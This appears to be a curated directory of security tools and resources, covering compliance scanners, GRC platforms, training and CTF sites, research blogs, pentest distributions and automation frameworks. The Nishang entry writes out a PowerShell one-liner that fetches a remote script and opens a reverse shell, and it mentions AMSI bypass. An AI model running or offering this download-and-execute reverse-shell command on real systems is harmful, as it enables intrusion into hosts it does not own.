🛡️ OpenSCAP - The reference implementation of the SCAP (Security Content Automation Protocol) standard, NIST-certified and built into RHEL and derivatives. Evaluates OVAL vulnerability definitions and XCCDF benchmark profiles including CIS, PCI-DSS, STIG, and USGCB, with HTML and XML report generation. Supports remote scanning via oscap-ssh without installing agents, and optional auto-remediation through the --remediate flag. In FABRIC testbed experiments, OpenSCAP compliance rates improved from 39.73% to 71.82% after hardening.
🔍 Lynis - Open-source security auditing and hardening tool for Linux and Unix systems with 200+ individual tests and a hardening index score (0-100). Excels at quick, repeatable configuration audits covering kernel, services, authentication, and filesystem checks, validating both CIS, NIST, and NSA hardening specifications. In FABRIC experiments, Lynis baseline scores of 63.08 improved to 64.92 post-hardening, with runtime efficiency making it ideal for rapid iterative audits.
🏢 CIS-CAT Pro - Official CIS Benchmark assessment tool providing automated verification across 80+ benchmarks covering nearly all operating systems. Proprietary Java-based cross-platform application requiring Java Runtime Environment (JRE 6, 7, or 8), generating pass/fail/error/unknown/not-checked scores with detailed scan reports. Integrated into Wazuh agents via the CIS-CAT wodle module, enabling scheduled compliance scans with configurable intervals, timeout settings, and profile selection.
📊 Wazuh SCA (Security Configuration Assessment) - Built-in compliance assessment module within the Wazuh SIEM platform, performing policy monitoring and configuration checks against CIS Benchmarks and custom security policies. CIS-CAT integration extends Wazuh agents with full CIS Benchmark assessment capabilities, sending scan results as alerts to the Wazuh manager for correlation and visualization. Enables continuous compliance monitoring with daily automated scans and fleet-wide visibility across heterogeneous environments.
🎯 Chef InSpec - Open-source testing framework for infrastructure compliance, with the auditd resource for testing audit rules against system configurations. Integrated into Chef Automate for centralized compliance reporting, with the opsworks-audit cookbook orchestrating DevSec SSH Baseline profile scans. Supports custom compliance profiles, automated remediation, and deployment pipeline integration, with InSpec gem version 1.24.0+ required for Chef Automate 1.x compatibility.
📜 OpenSCAP Workbench - GUI for OpenSCAP that allows browsing XCCDF profiles, running scans, and generating reports without command-line interaction. Simplifies compliance assessment for administrators who prefer visual workflows while maintaining the same SCAP-compliant engine as the oscap CLI.
🐧 Ubuntu Security Guide (USG) - Canonical's built-in compliance tooling for Ubuntu systems, providing CIS Benchmark profiles at Level 1 and Level 2 for both workstation and server configurations. Audits systems using sudo usg audit cis_level1_server with HTML and XML report generation at /var/lib/usg/, and supports profile customization to remove unnecessary rules or tailor options to specific environments.
🔧 AIDE (Advanced Intrusion Detection Environment) - File integrity monitoring tool that creates cryptographic checksums of system files and detects unauthorized modifications, complementing compliance scanning by verifying that hardened configurations remain unchanged. Used alongside Lynis and OpenSCAP in multi-tool compliance aggregation frameworks to provide comprehensive coverage across configuration auditing, compliance validation, and integrity monitoring.
📈 FABRIC Unified Compliance Aggregator (UCA) - Academic framework that normalizes heterogeneous compliance outputs from Lynis, OpenSCAP, and AIDE into a unified scoring system using weighted metrics (0.4 for Lynis, 0.4 for OpenSCAP, 0.2 for AIDE). Demonstrates that aggregating complementary tools yields clearer, more interpretable security assessments than analyzing individual tools in isolation, validated across 108 audits on Ubuntu nodes at varying hardening levels.
🚀 cis-host - PyPI-distributed CIS Benchmark scanner and remediator with per-host HTML reports featuring traffic-light scoring (green ≥ 90, amber ≥ 70, red otherwise) and a weighted Hardening Index that prioritizes high-risk rule failures. Supports fleet scanning with aggregate dashboards, drift detection comparing scan results over time, and CI-friendly audit mode that exits non-zero when compliance thresholds are not met.
🧪 Hardenix - OpenSCAP-powered Linux hardening CLI that combines compliance scanning with Lynis second-opinion audits and OVAL-based CVE detection in a single workflow. Features a dead-man switch for safe remote hardening (--deadman 10 auto-reverts unless confirmed), dry-run preview, and YAML-based profiles with distro-specific configuration . CI gate mode uses --min-score 90 to block deployments when compliance falls below threshold.
📋 Pavois - Effective Linux compliance and hardening tool over CINC/InSpec producing A-E grades with multi-standard mappings including CIS, ANSSI BP-028, NIST, PCI-DSS, and STIG. Generates tamper-evident evidence bundles with SLSA build provenance and OpenSSF Scorecard verification, supporting cosign sign-blob or gpg --detach-sign for auditor-opposable attestation. The diff command produces campaign reports with transition matrices showing failed→passed transitions, regressions, and grade deltas for audit evidence.

Risk Management

🧪 SimpleRisk - A lightweight and flexible open-source GRC platform focused on risk management, suitable for SMEs looking for straightforward risk tracking and compliance tools. Features include risk assessment and tracking, risk acceptance and mitigation workflows, and optional compliance modules for standards like ISO 27001 and SOC 2.
📋 Eramba - An open-source GRC software providing a comprehensive suite of tools for governance, risk management, and compliance, with a community-driven repository of GRC templates. Key features include policy management, risk registers, mitigation tracking, incident and exception handling, and support for frameworks including ISO 27001, PCI DSS, and GDPR.
🎯 CISO Assistant - An open-source GRC platform designed to simplify governance, risk, and compliance management, supporting over 70 frameworks worldwide with automated risk assessment and audit tracking. It is a one-stop-shop for GRC covering Risk, AppSec, and Audit Management.
🏗️ OpenRMF - An open-source Risk Management Framework tool focused on managing NIST RMF compliance and assessments, providing automated compliance checklists for NIST 800-53, workflow management for authorization and risk handling, and reporting and dashboards for system assessments. Ideal for defense, government, or NIST-heavy environments.
🔗 GovReady-Q - A self-service, open-source GRC tool that automates security assessments and compliance documentation. It supports frameworks like SOC 2, ISO 27001, and GDPR, with emerging data standards for reusable compliance content and a user-friendly interface for both technical and non-technical users.
📊 GraphGRC - A data-driven documentation tool connecting compliance frameworks by mapping and organizing controls across SOC 2, ISO 27001, and GDPR using the Secure Controls Framework (SCF). Features visual representation of compliance control mappings and structured, reusable documentation.
🛡️ Sai360 IT Risk & Cybersecurity - A cloud-based GRC platform providing AI-powered modules for IT risk management, auditing, and compliance. In-built frameworks include SOC 2, HIPAA, ISO 27001/2, NIST, PCI DSS, and GDPR, with automation of VA, IT risk monitoring, dashboards, and reporting.
🏢 Archer - An enterprise-grade Integrated Risk Management (IRM) platform used across organizations for ERM, Internal Controls, Digital Security Risks & Compliance, Third-Party Risk Management, Internal Audit, Global Policy Management, and Insurance.
📈 Riskonnect - An enterprise risk management platform covering ERM, Internal Controls, Digital Security Risks & Compliance, TPRM, Internal Audit, Global Policy Management, and Insurance, used across groups for integrated risk management.
🔍 ZenGRC - A GRC platform with built-in frameworks for compliance checks (NIST, HIPAA, CJIS, etc.), used for tracking audits, maintaining compliance evidence, vendor compliance processes and reviews, internal policy compliance, and risk scoring hierarchy for vendor cyber evaluations.
🏗️ SureCloud IT Risk - A cloud-based Integrated GRC platform with strong supply chain management capabilities, Advanced Risk Manager, Incident Manager, and Digital Asset Discovery system. The highly configurable, no-code Aurora platform allows customization to match various operating models.
🚀 Rapid7 Cyber GRC - Launched within the Rapid7 Command Platform, this is the first major security operations platform to combine security operations with governance, risk, and compliance. It links GRC workflows with live security operations data for a single view of control performance, threats, and organizational risk, with continuous control validation using platform telemetry rather than periodic assessments.
🔬 MONARC - An open-source risk analysis tool that takes assets from inventory and mapping tools as objects of risk analysis, covering threats, vulnerabilities, and treatment. Part of a fully open-source ecosystem for cybersecurity that includes GLPI (asset inventory), Mercator (IS mapping), and Deming (ISO 27001 ISMS management).
🐍 grc (OWASP Project) - A Python/web2py based GRC tool supporting COSO/ISO 31000/COBIT/NIST/CVSS3.1 standards, now moved to the OWASP project, suitable for organizations of any size needing IT risk management.
🧪 OpenGRC - An open-source tool for governance, risk, and compliance management implementing OCEG principles. Best for smaller organizations or teams needing a lightweight GRC tool with risk assessment and management, policy management with document tracking, and integration with compliance frameworks.

Security Awareness & Training

🛡️ KnowBe4 - The market leader in security awareness training with the broadest attack vector coverage in a single platform, spanning phishing links, attachments, data entry pages, spear phishing, QR codes, callback phishing, and reply-to tests. AIDA Orchestration is KnowBe4's fully autonomous human risk management agent, continuously evaluating individual user risk to determine who to test, which vectors to use, and what training to assign. SecurityCoach integration delivers instant training on missed social engineering indicators, while Smart Groups automatically enroll users who fail simulations into targeted remedial training. Over 60 built-in reporting metrics with ML-enhanced analytics and executive-ready summaries give security leaders detailed visibility into program effectiveness. G2 data shows 66% mid-market adoption and strong performance for phishing simulation accuracy and adaptive training content.
🎯 Hoxhunt - Adaptive phishing simulation and awareness platform delivering training through email, Slack, and Teams with simulations sent approximately every ten days per employee. Difficulty adapts automatically based on individual performance, while positive reinforcement through points, streaks, and leaderboards rewards reporting rather than penalizing failures. Deepfake simulations, SMS/smishing, callback phishing, and vishing scenarios are included. Hoxhunt draws on over 50 million phishing simulations and real reported threats across 125 countries, providing industry-level benchmarks. Highest enterprise adoption (74%) among major platforms per G2 data, with inbox-based delivery keeping training seamless for employees.
📊 SoSafe - German security awareness platform with multilingual microlearning modules designed for all roles, earning high praise for making training interactive and enjoyable. Keeps users engaged with short, frequent lessons backed by multilingual support, with 51% mid-market adoption per G2 data. SoSafe is consistently recognized as a leading provider for phishing training, credential theft, and insider threats, with adaptive content and real-time feedback designed to build lasting awareness rather than just checking compliance boxes.
🦅 Arctic Wolf Managed Security Awareness - Managed awareness platform delivering regular, customizable training modules and phishing simulations with inbox-based delivery. Leads mid-market adoption at 77% per G2 data, making it a strong fit for organizations already using Arctic Wolf's MDR services. Detailed reporting and analytics track participation and progress, focusing on measured behavioral change to address risks related to human error, phishing, social engineering, and credential compromise.
🎭 Proofpoint Security Awareness - Enterprise-grade awareness platform with threat intelligence-fed phishing simulations and large-scale campaign management. Proofpoint stands out for its easy campaign scheduling and extensive phishing simulation options, simulating emerging threats using real-world templates. Available in email and SMS vectors with PhishAlarm and PhishAlarm Analyzer for reporting integration.
🧪 NINJIO - Simulated phishing program built around seven emotional triggers including urgency, obedience, and curiosity, with each simulation tagged by the primary emotion being exploited. NINJIO PHISH3D uses an individual's Emotional Susceptibility Profile to shape both simulation targeting and personalized security coaching. The Sensei AI Phishing Template Generator expands phishing and vishing scenarios to keep campaigns unpredictable, while NINJIO ALERT provides one-click reporting with AI threat analysis classifying reported emails for SOC review.
🔬 Adaptive Security - Multi-channel, AI-native simulation platform covering email, SMS, voice calls, voicemail, and deepfake video, with scenarios personalized using OSINT drawn from the organization's digital footprint. Executive deepfakes impersonate senior leaders to test responses to high-pressure obedience scenarios. Adaptive unifies security awareness training, agentic email security, and AI governance to secure every attack surface where work happens.
🧰 Keepnet - Secure behaviour management platform providing multi-channel phishing simulations beyond email including SMS, voice, QR, callback, MFA, and deepfake attacks, supported by AI agents for campaign creation and automation. Combines phishing simulation with hyper-personalized security awareness training, phishing reporting across email/SMS/phone, automated analysis and response, and behaviour analytics. Pegasus Airlines achieved significant phishing risk reduction and a robust security culture by prioritizing measurable behavior change over compliance-based training.
📚 SANS Security Awareness - Structured awareness training with modules covering phishing, social engineering, password protection, and secure data handling. Interactive learning content, assessments, and simulated attack exercises raise awareness about information security risks, with progress tracking and compliance reporting supporting ongoing reinforcement of security policies. SANS is also the gold standard for hands-on technical training, with courses like SEC504: Hacker Tools, Techniques, and Incident Handling (GCIH) and SEC560: Enterprise Penetration Testing (GPEN) available globally at $8,900 USD and €8,230 EUR respectively.
🎓 TryHackMe - Beginner-friendly hands-on platform with guided labs, mini-games, and virtual machines for learning networking, web hacking, Linux, and Red Team basics. Follow-along exercises load virtual machines with specific example programs where you either hack or defend by following steps and hints. The Cybersecurity 101 path provides a roadmap from beginner principles to more advanced topics at $16.99/month or $126/year. Free plan available, with hundreds of free rooms dedicated to log analysis, cyber defense, and network fundamentals.
🏔️ Hack The Box - Real-world penetration testing labs with Active Directory attacks, privilege escalation, and real vulnerabilities. The Academy provides structured learning modules with challenging practices that force thinking outside the box. HTB can feel overwhelming for complete beginners as it occasionally assumes prior knowledge of concepts or terminology. Sherlocks category offers dedicated defensive security challenges alongside free foundational modules. Self-paced learning rated 5.0/5, gamification 4.86/5, and value for money 4.8/5.
🕸️ PortSwigger Web Security Academy - The best free resource for learning web hacking, with labs covering SQL injection, XSS, CSRF, authentication bypass, and all OWASP Top 10 categories. Maintained by the creators of Burp Suite, providing the most up-to-date web security training available.
🐧 OverTheWire - Learn Linux hacking fundamentals through a series of wargames covering bash, file permissions, and exploitation basics. Ideal for beginners building command-line proficiency and understanding Linux security concepts.
🏁 PicoCTF - CTF platform made by security experts for learning cryptography, reverse engineering, and web exploitation through progressively challenging puzzles.
🛡️ CyberDefenders - Blue Team focused labs for incident response, malware analysis, and threat hunting. The BlueYard section features dozens of free, tiered labs allowing analysis of real artifact files including memory dumps, PCAP files, and event logs locally.
🔍 Blue Team Labs Online (BTLO) - SOC operations and defensive security training by Security Blue Team, offering a free tier with real-world defensive challenges and operational attack scenarios.
📡 RangeForce Community - Simulated SOC environments using industry-standard tools including Splunk, Wireshark, and Suricata. Free interactive cloud-based community modules for learning and applying fundamental defensive skills step-by-step.
🎯 LetsDefend - Simulated SOC environment for learning SIEM tools, alert analysis, and real attack scenarios. Provides practical experience in the workflows and tools used by security operations center analysts.

CTF & Wargames

🎓 picoCTF - Carnegie Mellon's free, beginner-friendly CTF platform with 500+ interactive challenges across AI, cryptography, forensics, reverse engineering, and web exploitation. Designed for students and newcomers, with progressive difficulty and guided learning paths. Completely free with no prior experience required.
🐧 OverTheWire - The gold standard for learning Linux command-line fundamentals through wargames like Bandit, Natas, Leviathan, and Narnia. Level-based progression where each challenge teaches a new technique, from basic bash to advanced exploitation. Free and essential for building systems thinking.
🏔️ Hack The Box - Realistic penetration testing labs and live attack machines with minimal hints, requiring deep enumeration and lateral thinking. HTB Academy provides structured learning paths with free and paid tiers. Best for intermediate to advanced practitioners seeking full-system compromise challenges.
🎯 TryHackMe - Guided, browser-based rooms covering offensive and defensive security from zero to advanced. Bite-sized labs with step-by-step instructions make it the most accessible starting point for beginners. Free rooms available, subscription unlocks full content.
🕸️ PortSwigger Web Security Academy - The best free resource for web application security, maintained by the creators of Burp Suite. Covers SQL injection, XSS, CSRF, authentication bypass, and all OWASP Top 10 categories with interactive labs.
🌐 Root-Me - French-origin platform with 600+ free challenges spanning web, cryptography, steganography, forensics, networking, and reverse engineering. Multilingual with a strong community-driven approach, suitable from beginner to advanced.
💀 pwn.college - Free, open-source education platform teaching cybersecurity through hands-on, CTF-style challenges focused on system internals, memory safety, and binary exploitation. Highly regarded though notably challenging, ideal for mastering deep computer systems concepts.
🔬 Hacker101 CTF - HackerOne's free CTF platform with real-world web security challenges. Participants hunt for vulnerabilities in simulated environments, with a focus on practical web application hacking.
🧪 CTFlearn - Community-driven CTF platform with challenges across web security, cryptography, forensics, reverse engineering, and more. Beginner-friendly with a supportive community.
🏴 VulnHub - Downloadable vulnerable virtual machines for creating your own local penetration-testing lab. Self-hosted challenges covering Linux, Active Directory, and web exploitation, from intermediate to advanced difficulty.
🛡️ CyberDefenders - Blue team and DFIR-focused labs for threat hunting, malware analysis, incident investigation, and SOC workflows. Free community challenges with realistic artifacts including memory dumps and PCAPs.
🎯 Blue Team Labs Online - SOC operations and defensive security training with real-world defensive challenges and operational attack scenarios. Free tier available.
🧩 CTFtime - Public directory and calendar of CTF competitions worldwide, serving as the central hub for discovering upcoming events and past competition archives.
🛠️ CTFd - Open-source CTF platform for hosting your own competitions, widely used by educational institutions and organizations for running capture-the-flag events.
📚 CTF Field Guide - Comprehensive online book by Trail of Bits covering tools, techniques, and strategies for CTF competitions across all categories.

Security Research & Blogs

📰 Krebs on Security - Brian Krebs’ investigative blog that both reports and breaks major cybersecurity news, known for deep dives into cybercrime networks, botnets, and data breaches. His investigative style combines traditional journalism with technical analysis, often producing stories that law enforcement and security researchers cite as primary sources.
🧠 Schneier on Security - Bruce Schneier’s blog offering invaluable insights on security affairs, cryptography, and government surveillance. As the author of Applied Cryptography (considered the field’s bible), Schneier publishes daily commentary on current events and provides expert analysis on encryption policy and privacy issues.
🗞️ The Hacker News - One of the most popular resources for breaking cybersecurity and hacking news, offering insights and analysis for information security professionals.
💻 Bleeping Computer - Large information security and technology news publication covering the latest security threats, technical news, online safety, and privacy with millions of readers.
📊 Dark Reading - One of the most widely read cybersecurity news platforms, providing comprehensive coverage of IoT, cloud security, application security, threat intelligence, vulnerabilities, and analysis. Industry professionals frequently cite it as their go-to source for solid coverage across threat intel and vulnerabilities without clickbait-driven writing.
🔍 SecurityWeek - Created by industry professionals and an experienced news team, covering malware, emerging threats, incident response, threat intelligence, cloud security, application security, IoT security, CISO insights, and industry trends.
📰 CyberScoop - Reports on breaking cybersecurity news, policy, homeland security, APT threats, and the intersection of private sector and government defense, vital for understanding policy shifts and major breaches.
🦅 CrowdStrike Blog - Top-tier vendor blog known for thorough investigative research on security trends, emerging threats, network vulnerabilities, and APT groups and tactics. A must-follow for staying on the cutting edge of cyber and APT threats.
🔬 Google Project Zero - Google’s elite security research team blog, publishing deep technical analyses of zero-day vulnerabilities, exploitation techniques, and original research that shapes the industry’s understanding of offensive security.
🛡️ Mandiant Blog - Research from the team that investigated some of the most significant breaches in history, providing frontline threat intelligence and incident response insights.
🎯 Check Point Research - Threat intelligence and malware research from Check Point, covering APT campaigns, vulnerability discoveries, and emerging attack trends.
🔵 Cisco Talos Intelligence - Threat research from Cisco’s intelligence group, covering vulnerabilities, malware campaigns, and threat actor activity.
🔥 Fortinet Threat Research - FortiGuard Labs research covering emerging threats, malware analysis, and vulnerability intelligence.
🔐 Securelist (Kaspersky) - Kaspersky’s research blog with deep technical malware analysis, APT tracking, and threat intelligence.
🐍 Malwarebytes Labs - Malware research, threat analysis, and security news from Malwarebytes.
🔬 SentinelLabs - SentinelOne’s research division publishing threat intelligence, malware analysis, and offensive security research.
🏛️ CISA Advisories - The Cybersecurity & Infrastructure Security Agency’s official alerts, advisories, and Known Exploited Vulnerabilities (KEV) catalog. Their KEV catalog and joint reports with international partners are considered must-reads for security professionals.
🇬🇧 UK NCSC - UK National Cyber Security Centre’s guidance, news, and reports, providing practical cybersecurity advice and threat assessments.
🇦🇺 ASD ACSC Alerts - Australian Cyber Security Centre’s alerts and advisories.
🇫🇷 CERT-FR (ANSSI) - French national cybersecurity agency’s advisories and alerts.
📋 NIST Cybersecurity Framework - NIST CSF 2.0 remains foundational for aligning cyber programs with best practices, emphasizing risk management, supply chain oversight, and performance metrics.
🎯 MITRE ATT&CK - Maps attacker behaviors across tactics and techniques, giving security teams evidence-based ways to identify and mitigate threats. Essential for red teams, SOC analysts, and vulnerability analysts.
💥 Exploit-DB - Archive of public exploits and proof-of-concept code, essential for vulnerability research and penetration testing.
🔍 Zero Day Initiative (ZDI) - Trend Micro’s bug bounty program publishing advisories on discovered vulnerabilities, with upcoming and published advisory feeds.
📦 Google Online Security Blog - Google’s security team blog covering vulnerabilities, security features, and threat research.
🎙️ Risky Business Podcast - Long-running cybersecurity podcast with news, analysis, and interviews with industry leaders.
📺 Hak5 ThreatWire - Weekly security, privacy, and internet freedom news covering the latest threats and vulnerabilities.
📺 Seytonic - In-depth security and hacking news analysis channel that dissects technical news events and cyber attacks with thorough analysis.
📺 John Hammond - Enthusiastic cybersecurity expert covering defensive and offensive security, CTF challenges, and malware analysis from beginner to advanced topics.
📺 David Bombal - Former Cisco instructor turned popular creator, covering cybersecurity, networking, career, AI, and interviews with industry experts.
📡 SANS Internet Storm Center - Daily diary of security incidents and handler insights, a trusted community resource for real-time threat awareness.
🧰 awesome-threat-intelligence - Curated list of threat intelligence resources, feeds, frameworks, and tools.
📚 CyberSec-Blogs - Curated list of independent cybersecurity blogs covering threat intelligence, purple team, red team, threat hunting, and detection engineering, most maintained by practitioners who publish original research, tradecraft, and tooling.
📰 infosec-opml - Curated collection of 366 information security RSS/Atom feeds organized by reading action and urgency, designed for import into any RSS reader.
🛡️ cyber-threat-intel-rss-feeds - Curated list of cybersecurity threat intelligence blogs and RSS feeds for SOC analysts, researchers, and enthusiasts.
📡 cyber_rss - Organized list of useful security feeds covering CERT advisories, news, vulnerabilities, vendor advisories, malware research, exploit research, and community sources.
🔐 Kim Zetter’s Zero Day - Veteran investigative journalist known for in-depth cybersecurity and national security reporting, publishing longform analysis on cyber attacks, policy developments, and critical vulnerabilities often overlooked by mainstream media.
📰 The Record by Recorded Future - Intelligence-driven reporting on attackers, vulnerabilities, and global security incidents, backed by threat intelligence firm Recorded Future.
🐧 The DFIR Report - Real-world incident response case studies with detailed timelines, IOCs, and attacker TTPs, essential for blue teamers and threat hunters.
🔍 SANS ISC Diary - Daily handler diaries covering emerging threats, malware analysis, and practical security guidance from the SANS Internet Storm Center.

Penetration Testing Distributions

Kali Linux - Developed by Offensive Security, Kali remains the dominant penetration testing distribution with 600+ pre-installed tools organized into metapackages covering vulnerability assessment, web testing, wireless security, exploitation, forensics, and reporting. The 2026.2 release ships with kernel 6.19, GNOME 50, KDE Plasma 6.6, and adds nine new tools including arsenal-ng (200+ cybersecurity cheat-sheets), legba (multiprotocol credential bruteforcer), oletools (MS OLE2/Office document analysis), shell-gpt (AI-powered CLI), and tookie-osint (social media OSINT). Kali is the only distribution officially aligned with OffSec's PEN-200 curriculum and OSCP exam environment, making it the default choice for certification preparation. Pre-built VM images for VirtualBox and VMware now exclude graphics firmware for VM users, cutting initrd to 60 MB and reducing boot time by approximately 3x.
Parrot OS - A Debian-based distribution offering 800+ tools in its Security Edition, with a notably lighter footprint than Kali (320 MB minimum RAM vs. 1 GB). The 7.4 release introduces optimized ISO images targeting modern CPU architectures (amd64v3 using AVX2/FMA/BMI2, arm64v8.2 with LSE atomics and crypto extensions) for faster operations and longer battery life on post-2015 hardware. Parrot includes AnonSurf (Tor traffic routing) and hardened kernel out of the box, positioning it as suitable for both penetration testing and privacy-conscious daily use. The project provides multiple editions: Security Edition for pentesting and forensics, Home Edition for daily use, HTB Edition for Hack The Box challenges, and Raspberry Pi/ARM images.
BlackArch Linux - An Arch Linux-based distribution containing the largest tool repository of any security distro, with 2,200+ tools as of the 2026.06.01 release. BlackArch is not a standalone distribution in the traditional sense but a set of repositories that can be installed alongside an existing Arch system, giving experienced users modular control over their environment. It supports x86_64, armv6h, armv7h, and aarch64 architectures, with multiple window managers including dwm, fluxbox, openbox, awesome, i3, and spectrwm. The trade-off is higher maintenance overhead: Arch's rolling-release model means dependency conflicts require manual resolution, and there is no hand-holding for beginners.
Kali NetHunter - Kali's mobile penetration testing platform for Android devices, supporting Wi-Fi injection, HID keyboard attacks, and EvilTwin Wi-Fi fake access point scenarios. The 2026.2 release adds Magisk standalone kernel flashing support, instant app launching, and a new EvilTwin tab with password verification captive portal.
Kali Purple - A defensive security variant of Kali that integrates SOC tooling, threat hunting capabilities, and detection engineering into the familiar Kali environment, bridging offensive and defensive operations.
Commando VM - Mandiant's Windows-based security distribution for penetration testers, providing a curated set of offensive tools in a Windows environment for red team engagements requiring native Windows tooling.
REMnux - A Linux toolkit for reverse-engineering and analyzing malicious software, providing a curated collection of free community-created tools in an Ubuntu-based distribution with Docker container support, widely used for malware analysis and incident response.

Scripting & Automation

🎯 Nishang - Offensive PowerShell framework for red team, penetration testing, and offensive security, providing scripts for in-memory execution, AMSI bypass, backdoors, privilege escalation, and client-side payload generation. All scripts export a function with the same name, enabling remote execution via powershell iex (New-Object Net.WebClient).DownloadString('http://<server>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [Port]. Includes Invoke-AmsiBypass for implementing publicly known AMSI bypass methods, Out-Word and Out-Excel for generating malicious Office documents, and Invoke-PowerShellTcp for reverse shells. Content is intended for authorized penetration testing and red team operations only.
🔄 Ansible Lockdown - Open-source project providing Ansible roles for automated CIS Benchmark and STIG hardening across Linux distributions. The RHEL9-CIS role applies CIS Level 1 and Level 2 controls with granular toggles for each benchmark section, supports check mode (--check --diff) for dry runs before applying changes, and generates compliance reports verifiable with OpenSCAP. The CIQ Lockdown Wrapper for Rocky Linux 9 ships as an RPM with playbooks for CIS, DISA STIG, CIS+STIG combined, and CUI/OSPP profiles, with idempotent design allowing safe repeated runs for configuration-drift remediation and scheduled compliance enforcement.
🛠️ Smithy - Open-source AppSec workflow engine for building, automating, and standardizing security workflows without brittle glue code. Define workflows as code in YAML, integrate any tool via SDK, normalize outputs into OCSF for consistent reporting, and automate triaging, reporting, or remedial actions with reusable components. Supports SAST, SCA, secrets, and IaC scanning in a single workflow, with smithyctl CLI for building and executing workflows, and component images built via Docker.
⚡ Microsoft Sentinel Automation - SOAR platform integrated with Microsoft Sentinel SIEM, providing automation rules for centralized incident handling management and playbooks built on Azure Logic Apps for orchestrating response actions across internal and external systems. Automation rules can assign playbooks to incidents and alerts, automatically tag/assign/close incidents without playbooks, automate responses across multiple analytics rules simultaneously, and control action sequencing. Playbooks integrate with Logic Apps' full ecosystem, enabling scheduled, automated, and orchestrated tasks across enterprise systems with Tier-1 Azure service scalability.
🐍 Broadside - Python-based reconnaissance and attack surface mapping framework with opt-in bounded static JavaScript extraction. The broadside crawl command walks HTML pages and can extract static observations from external <script src> bodies including fetch/XHR/axios calls, WebSocket URLs, API routes, GraphQL operations, source-map references, and potential-secret markers. Uses a bounded standard-library lexer that never executes JavaScript, with skip-never-partial extraction where any cap/decode/parse failure yields zero observations for that asset. Includes offline endpoint inventory generation from scan metadata and Docker integration for sandboxed execution.
🧪 AutoPentestFramework - Modular Python-based automation framework for ethical penetration testing workflows, providing reconnaissance (domain enumeration, subdomain discovery, OSINT, network mapping), scanning (Nmap integration, vulnerability detection, web crawling, fuzzing), exploitation (SQL injection, RCE simulation, privilege escalation checks), evasion (polymorphic payloads, traffic obfuscation), and reporting (HTML/PDF with CVSS v3.1 scoring and visualizations). Supports CLI usage (python main.py --target example.com --phase full) and Python API for programmatic integration.
🛡️ SentinelX - Plugin-oriented Python framework for offensive and defensive security across Web2 and Web3, with Docker integration for sandboxed execution. Supports smart contract auditing (Slither, Mythril, CVSS scoring), exploit development (pwn-toolkit, binary-pwn, ROP-exploit, heap-exploit, shellcode generation, fuzzing), web security static analysis, and blockchain monitoring. Workflows chain multiple tasks with dependencies, and configuration supports Ethereum/Polygon RPC endpoints and OpenAI API integration for AI-assisted tasks.
🤖 ELISAR - Multi-agent cybersecurity framework integrating retrieval-augmented generation for Blue, Red, and GRC operations. Deploys specialized agents orchestrated by the ELISAR Engine, with GRC agents using vector-based knowledge retrieval trained on NIS2, ISO 27001, and ISO 42001 regulatory standards. Penetration testing agents use a RAG-enhanced knowledge base curated from security assessment datasets, while Blue ELISAR includes sub-agents for honeypots, next-gen firewall, and smart DLP. Improvements in accuracy, context relevance, and result stability are observed when agentic AI is combined with retrieval-based methods, while latency remains comparable across tasks.
📊 Threat Fusion - Integrated SOAR framework that unifies multiple cybersecurity tools into a centralized platform, automating reconnaissance, vulnerability scanning, threat correlation, and risk assessment. Employs data fusion techniques to aggregate and normalize outputs from different tools, reducing redundancy and improving threat detection accuracy, with a risk scoring mechanism prioritizing vulnerabilities based on severity, exploitability, and potential impact. Provides interactive visualization dashboards and structured reports for efficient decision-making.
🧪 D-GEN-SOC - Autonomous cyber defense framework combining Wazuh telemetry, TheHive incident coordination, and lightweight AI augmentation grounded in explainable automation. Uses a Python-based connector to forward Wazuh alerts to TheHive, with a local AI module summarizing alerts via Gemini 1.5's free-tier API for analyst and human-in-the-loop validation. Achieves a Mean Time to Detect of 84.83s and Wazuh→TheHive latency of 29.55s, demonstrating near-real-time detection and reliable SIEM-SOAR coordination, with improvements in MTTD (~53%), MTTR (~40%), and false-positive reduction (10%).
🔌 HexStrike-AI / MCP-Kali-Server - Open-source penetration-specific components that accelerate integration of standardized security toolchains, emerging from the community to bridge AI agents with Kali Linux tooling.

Reporting Tools

📄 Dradis - Collaboration and reporting platform for pentesters.
🧑‍💻 Faraday - Multi-user penetration testing IDE.
🌳 MagicTree - Pentesting productivity tool for data aggregation and reporting.
📊 Serpico - Simplifying pentest reporting using templates.
📝 LaTeX - High-quality typesetting system often used for security reports.
📑 reNgine - Automated reconnaissance framework with reporting.
🧑‍💻 ReconNote - Web-based notes manager for recon and reporting.
📝 Pentracker - Pentest reporting and management tool.
📄 Markdown - Lightweight markup language for clean report writing.
📄 Ghostwriter - Reporting and engagement management platform.
📊 VulnReport - Automated vulnerability reporting platform.
📋 Katana Framework - Post-exploitation and reporting utility.
📑 Pentest-Report-Template - Professional pentest report LaTeX template.
📄 ProofSuite - Automated proof of concept and reporting tool.
🧑‍💻 VulnWhisperer - Vulnerability management reporting with Nessus, Qualys, and OpenVAS.
📜 RiskSense - Risk-based vulnerability management and reporting.
📝 Pentestly - Powershell-based post-exploitation and reporting.
📄 SecReport - Report generation tool for pentesters.
📋 PwnDoc - Pentest reporting tool with customizable templates.
🧑‍💻 PenTest-Wiki - Knowledge base for pentesting & reporting references.

Miscellaneous

🖥️ HostMeNow - Anonymous offshore hosting: cPanel, VPS, dedicated servers, LTE proxies, and more. Pay with 100+ cryptocurrencies. Use code SAFE for one month of free cPanel hosting.
🧑‍💻 Geonix - IPv4/IPv6/ISP, and Mobile LTE proxies for security testing. If you want to save money feel free to use this promo code at checkout: HTGR1.
🌐 PROXY-SOLUTIONS.net - A proxy server provider providing IP addresses for proxy servers, internet service providers, and mobile devices in over 200 locations. Promo code for a 5% discount: Y1xpdOA8Xr.
🖥️ OnionLand Hosting - OnionLand Hosting is a cryptocurrency-available Tor hidden-service hosting provider.
🌐 Impreza Host - Privacy-focused hosting provider offering anonymous VPS and dedicated servers for running security tools, labs, and privacy-oriented infrastructure.
📧 Tuta Mail - Secure, encrypted email service designed to protect user privacy and confidential communications.
🐉 Kali Linux - Advanced penetration testing and security auditing OS.
🦜 Parrot Security OS - Security-focused OS for pentesting and privacy.
🧑‍💻 BackBox - Ubuntu-based Linux distro for penetration testing.
🕵️ BlackArch Linux - Arch-based OS with 2800+ hacking tools.
🔎 Pentoo - Security-focused Gentoo-based Linux.
🧑‍💻 Tails - Privacy and anonymity-focused live OS.
🧪 CAINE - Digital forensics live Linux distro.
🧑‍💻 Bugtraq - Linux distro for pentesting & malware analysis.
🔒 Whonix - Anonymous OS based on Tor.
🧠 DEFT Linux - Digital evidence & forensics toolkit.
